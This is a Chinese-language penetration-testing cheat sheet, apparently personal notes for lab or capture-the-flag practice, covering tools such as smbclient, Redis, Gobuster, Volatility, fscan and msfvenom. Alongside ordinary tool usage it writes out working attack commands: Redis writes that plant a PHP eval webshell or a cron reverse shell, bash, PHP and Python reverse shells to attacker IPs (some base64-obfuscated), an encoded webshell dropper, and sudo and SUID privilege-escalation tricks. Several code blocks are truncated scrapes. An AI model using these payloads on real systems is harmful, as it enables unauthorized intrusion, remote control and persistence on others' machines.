常见知识点汇总
kali常见自带路径
- 字典字典:
/usr/share/wordlists/
网卡配置
- 禁用/启用网卡:
ifconfig [NIC_NAME] Down/Up
Telnet
- -a:自动登录
- -c:不读取用户的.telnetrc文件
- -d:打开debug开关
- -e:使用char作为转义字符
- -E:不使用转义字符
- -l:参试以user身份自动登录
- -L:使用8位数据传输仅用于输出
- -n:将跟踪的信息记录到FILE中
- -r:使用类似于rlogin的用户界面
- 常见用法:
- telnet
IP地址 - telnet -l
用户名IP地址
- telnet
- 注意事项:
- root用户名可以用空密码通过telnet登录到目标
FTP
- 常见用法:
ftp IP地址
- 注意事项:
- 常见用户名和密码:
anonymous/任意密码
- 常见用户名和密码:
- 其他知识点:
- FTP的安全版本是
SFTP - FTP登录成功的响应代码是
230 - 登录FTP下载文件的命令是
get - 上传文件的命令是
put
- FTP的安全版本是
SMB
- 全称:
Server Message Block - 运行端口:
445 - nmap通常扫描出来得到的服务名为:
microsoft-ds
smbclient工具使用教程
- 列出某个IP地址所提供的共享文件夹:
smbclient -L 198.168.0.1 [-U username%password]- Remote Admin:远程管理
- Default share:默认分享
- Remote IPC:远程IPC
- 像FTP客户端一样使用smbclient:
smbclient //192.168.0.1/tmp [-U username%password] - 直接使用一次性命令:
smbclient -c "ls" //192.168.0.1/tmp [-U username%password] - 如果用户共享//192.168.0.1/tmp的方式是只读的,会提示
NT_STATUS_ACCESS_DENIED making remote directory /share1,此时就可以使用smbclient -c "mkdir /share1" //192.168.0.1/tmp [-U username%password]解决
Redis
- 运行端口:6379
- 连接Redis:
redis-cli -h host -p port -a password - 常用命令(未授权访问):
- 查看信息:
info - 删除所有数据库内容:
flushable - 刷新数据库:
flush - 选择数据库:
select number,例如:select 1 - 看所有键:
KEYS *,使用select nun可以查看键值数据,例如:keys * - 设置变量:
set test "who am i - 查看变量值:
get 变量/键值
- 查看信息:
redis写入webshell
- 切换目录到网站的根目录:
config set dir /var/www/html/ - 写入恶意代码:
set x "\n\n\n<?php phpinfo();?>\n\n\n" - 写入一句话木马:
set xx "\n\n\n<?php @eval($_REQUEST[8]);?>\n\n\n" - 磁盘中生成木马文件shell.php:
config set dbfilename shell.php - 进行保存:
save
redis秘钥登录SSH
略
redis利用计划任务进行反弹shell
- 开启监听:
nc -lvnp 7777 - 写入计划任务:
set xx "\n* * * * * bash -i >& /dev/tcp/192.168.175.161/7777 0>&1\n" - 设置导出的路径:
config set dir /var/spool/cron/ - 设置导出的文件名:
config set dbfilename root - 保存:
save
Gobuster
常用命令行选项:
- -fw:使用通配符结果强制处理域
- -np:隐藏进度输出
- -m <mode>:使用哪种模式,dir(默认)或者dns
- -q:禁用横幅/下划线输出
- -t <threads>:要运行的线程数,默认10
- -u <url/domain>:完整URL或者基本域名
- -v:详细输出,显示所有结果
- -w <wordlist>:设置字典
dns模式的命令选项:
- -cn:显示CNAME记录,不能与
-i选项一起使用 - -i:显示结果的所有IP地址
dir模式的命令选项:
- -a <user agent string>:指定要在请求标头中发送的用户代理字符串
- -c <http cookie>:指定cookie
- -e:指定呈现完整URL的扩展模式
- -f:附加/目录暴力
- -k:跳出SSL证书的验证
- -l:显示响应的长度
- -n:无状态模式,禁用结果状态代码的输出
- -o <file>:指定要将输出写入的文件名
- -p <proxy url>:指定用于所有请求的代理
- -r:重定向
- -s <status code>:指定状态码
- -x <extensions>:要检查的扩展名列表
- -P <password>:http授权密码
- -U <username>:http授权用户名
- -to <timeout>:http超时,默认10s,示例:10s
vol取证
- 查看镜像的配置文件:
imageinfo,eg:./volatility -f 1.raw imageinfo - 指定配置:
--profile=指定镜像 - 查看进程:
pslist,eg:./volatility -f 1.raw --profile=Win7SP1x64 pslist - 提取进程文件:
memdump,eg:./volatility -f 1.raw --profile=Win7SP1x64 memdump -p 4272 --dump-dir=./-p:指定进程号--dump-dir:指定存储文件的位置
- 查看桌面的情况:
filescan|grep Desktop,eg:./volatility -f 1.raw --profile=Win7SP1x64 filescan |grep Desktop,filescan的作用是扫描文件,然后可以搭配grep进行使用 - 使用偏移量导出文件:
dumpfiles,eg:./volatility -f 1.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000002a2897e0 -D ./-Q:指定偏移量-D:存储文件的文件夹
- 列出cmd命令:
cmdline,eg:./volatility -f 1.raw --profile=Win7SP1x64 cmdlinecmdscan,eg:./volatility -f 1.raw --profile=Win7SP1x64 cmdscan
- 列出进程列表:
psscan,eg:./volatility -f 1.raw --profile=Win7SP1x64 psscanpslist,eg:./volatility -f 1.raw --profile=Win7SP1x64 pslist
- 扫描建立的连接和套接字(类似于netstat):
netscan,eg:./volatility -f 1.raw --profile=Win7SP1x64 netscan
- 扫描Windows服务列表:
svcscan,eg:./volatility -f 1.raw --profile=Win7SP1x64 svcscan
- 获取GDI的截图:
screenshot,eg:./volatility -f 1.raw --profile=Win7SP1x64 screenshot --dump-dir=./
- 显示每个进程的加载dll列表:
dlllist,eg:./volatility -f 1.raw --profile=Win7SP1x64 dlllist
- 提取日志文件:
dumpregistry,./volatility -f 1.raw --profile=Win7SP1x64 dumpregistry --dump-dir=./
- 查看用户名密码信息:
hashdump,eg:./volatility -f 1.raw --profile=Win7SP1x64 hashdump
- 查看浏览器历史记录:
idhistory,eg:./volatility -f 1.raw --profile=Win7SP1x64 iehistory
- 查看文件:
filescan,eg:./volatility -f 1.raw --profile=Win7SP1x64 filescan
- 查看注册表配置单元:
hivelist,eg:./volatility -f 1.raw --profile=Win7SP1x64 hivelist
- 查看注册表键名:
hivedump,eg:./volatility -f 1.raw --profile=Win7SP1x64 hivedump -o 0xfffff8a005fef010
- 查看注册表键值:
printkey,eg:./volatility -f 1.vmem --profile=Win7SP1x64 printkey -K "xxxxxxx"
- 查看运行程序相关的记录,比如最后一次更新的时间,运行的次数等等:
userassist,eg:./volatility -f 1.raw --profile=Win7SP1x64 userassist
- 最大程序提取信息:
timeliner,eg:./volatility -f 1.raw --profile=Win7SP1x64 timeliner
常见反弹shell方式
PHP
- php反弹shell:
php -r '$sock=fsockopen("192.168.1.1",9001);exec("/bin/bash -i <&3 >&3 2>&3");' - 写入PHP一句话木马:
echo ZWNobyAnPD9waHAgQGV2YWwoJF9QT1NUWzhdKTsgPz4nID4gc2hlbGwucGhw | base64 -d | sh,webshell:<?php @eval($_POST[8]); ?>[shell.php]
bash反弹shell
- 普通bash反弹shell:
bash -i >& /dev/tcp/10.0.2.15/7777 0>&1 - 嵌套bash反弹shell:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjIuMTUvNzc3NyAwJj4x}|{base64,-d}|{bash,-i} - 绕过bash反弹shell:
- 先进行base64编码:
echo "bash -i >& /dev/tcp/10.0.2.5/9001 0>&1" | base64 - 然后嵌套:
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjIuMTUvNzc3NyAwPiYx" | base64 -d|bash
- 先进行base64编码:
python
python升级shell
python升级shell,升级为pty-shell:
python3 -c 'import pty;pty.spawn("/bin/bash")',然后再export TERM=xterm,然后Crtl+Z将反弹shell置于后台,再使用stty raw -echo;fg;reset重新获取shell1
2
3
4
5
6
7
8
9
10
11python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm-256color
export SHELL=/bin/bash
stty size
这里的值是多少,最后的值也要修改为多少
使用Crtl+Z,然后输入下面的内容
stty raw -echo;fg
直接输入下面的内容
reset
stty rows 0 columns 0
python反弹shell
第一种方式
1 | import socket, subprocess, os |
第二种方式
1 | import pty,socket;s=socket.socket();s.connect(("10.0.2.15",9001));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh") |
1 | import pty,socket |
nc
- 使用nc监听端口:
nc -lvnp 7777 - 使用nc程序来传输二进制文件:
- 先在宿主机上运行:
nc -lp 9002 > binFile,binFile表示二进制文件 - 然后在被监听的服务器上运行:
nc -w 3 you_ip[宿主机IP] 7778[Port] < /usr/bin/binFile[二进制文件]
- 先在宿主机上运行:
searchsploit的使用
- 搜索内核版本:
searchsploit 4.4.0
提权
参考文章:http://cn-sec.com/archives/260823.html
SUID
- 查找SUID的二进制文件:
find / -perm -u=s -type f 2>/dev/null
vim提权
sudo /usr/bin/vim -c ':!/bin/sh'
pip提权
1 | TF=$(mktemp -d) |
traitor
介绍
1 | 几乎所有的GTFOBins |
PEASS-ng
介绍
1 | 适用于 Windows 和 Linux/Unix* 以及 MacOS 的权限升级工具 |
ltrace工具
- 功能:是一个简单的程序,它将执行二进制文件直到或除非它退出。它将告诉我们所有库调用并拦截二进制文件进行的系统调用。
find
- 查找我们可以使用命令访问的文件:
find / -group administrators -type f 2>/dev/null
tar命令
- 压缩文件:
tar -czvf test.tar.gz test.txt - 解压文件:
tar -xzvf test.tar.gz
Linux添加用户命令
1 | 先添加用户:useradd -g root -s /bin/bash -u 10010 test |
windows用户操作
1 | 查看用户:net user |
fscan
常用命令参数如下:
1 | -c string |
wireshark
常用过滤器
- 过滤所有的http请求包:
http.request - 过滤所有的http响应包:
http.response - 获取主机信息:
nbns
常见配置
配置显示域名对应的IP地址
编辑->首选项->Name Resolution->勾选图中箭头所指处

快速获取列
右键要选择的列,添加到列

然后可以修改名字,右键列顶栏,然后部署列

可以进行修改

ffuf
常见命令参数
1 | -D 与 -e 标志一起使用。用 -e 提供的每个扩展替换单词列表条目中的 %EXT% |
Linux其他常见知识点
- 后台运行程序:
command > out.file 2>&1 &nohup command > myout.file 2>&1 &nohup command &
enum4linux
- 该工具的主要作用:用于枚举Windows和Samba主机中的数据
常见配置参数
参考文章链接:https://hackfun.org/2016/10/23/Kali-Linux%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86%E4%B9%8Benum4linux/
1 | 用法: enum4linux [选项] ip地址 |
msf
msfvenom
- 生成war格式木马:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.2.15 LPORT=7777 -f war -o revshell.war
漏洞利用
MySQL
MySQL日志shell
1 | 查看日志是否开启:show variables like "%general%" |
MySQL写shell
1 | 查看系统变量:SHOW VARIABLES LIKE "secure_file_priv"; |